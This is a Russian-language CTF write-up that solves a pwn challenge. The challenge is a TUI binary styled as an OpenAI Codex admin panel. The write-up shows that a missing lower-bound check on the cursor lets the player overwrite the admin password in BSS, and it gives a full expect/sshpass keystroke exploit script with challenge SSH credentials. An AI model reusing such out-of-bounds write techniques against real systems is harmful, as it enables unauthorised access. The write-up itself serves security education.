April 25

Углеродный след

CTF: АльфаЦТФ2026

Автор: @yanik1ta

Категория: Pwn
Сложность: Medium

Описание задачи

Нам дают SSH-доступ к серверу, где запущен бинарник carbon.elf TUI - приложение, притворяющееся панелью администрирования OpenAI Codex. Зайти внутрь может только Сэм Альтман, но пароль случайный при каждом запуске.

Реверс

Смотрим бинарник статически и находим три важные функции.

login_ok сравнивает username со строкой sam_altman, а пароль с буфером admin_password по адресу 0x408380 в BSS.

randomize_admin_password при запуске читает 15 байт из /dev/urandom и кодирует их через alphabet[byte % 57], где алфавит это Base58: ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz23456789. Пароль каждый раз новый и нам неизвестен.

flag_unlocked возвращает флаг при двух условиях одновременно: guardrail с индексом 0x58 отключён, и метрика carbon ниже 130.

return (guardrails[0x58] == 0) && (metric_values[2] < 130.0);

Смотрим field_insert_char и замечаем уязвимость: функция пишет buffer[cursor] без проверки нижней границы. Стрелка вправо проверяется (cursor > 30), а стрелка влево ничем не ограничена снизу. Курсор может уйти в отрицательные значения.

Уязвимость

Смотрим на раскладку BSS:

0x408380  admin_password  [15 байт + \0]
          128 байт разрыва
0x408400  username input  [cursor = 0 при старте]

Если нажать стрелку влево 128 раз в поле username, курсор окажется на -128 и будет указывать прямо на admin_password[0]. Дальше печатаем 15 букв A и перезаписываем пароль на известное нам значение.

Эксплойт

SSH-сервер запускает carbon.elf напрямую как шелл и не позволяет передавать команды удалённо. Поэтому автоматизируем ввод нажатий через expect и sshpass с локальной машины.

expect -c '
spawn sshpass -p «AAu8KdgMdTIag37UX83WzQ» ssh -tt carbon@carbon-qm6k0jjg.alfactf.ru
expect «locked»
sleep 0.5
set L «\033\[D»
set R «\033\[C»
set seq «»
for {set i 0} {$i < 128} {incr i} { append seq $L }
append seq «AAAAAAAAAAAAAAA»
for {set i 0} {$i < 113} {incr i} { append seq $R }
append seq «sam_altman\tAAAAAAAAAAAAAAA\r»
send $seq
sleep 2
interact

ждёт пока TUI отрисует строку «OpenAI console locked» и только потом отправляет нажатия. Без этого байты улетают до инициализации экрана и теряются.

После отправки последовательности курсор уходит на -128, перезаписывает admin_password пятнадцатью A, возвращается в начало, и мы вводим sam_altman с паролем AAAAAAAAAAAAAAA. Логин проходит.

Получение флага

Оказавшись внутри, переходим в раздел Guardrails (Tab три раза), находим guardrail «Help with CTF» и выключаем его пробелом. Переходим на Dashboard и ждём пару секунд.

Отключение этого guardrail'а автоматически роняет метрику carbon ниже 130. Оба условия flag_unlocked выполнены, флаг появляется на экране.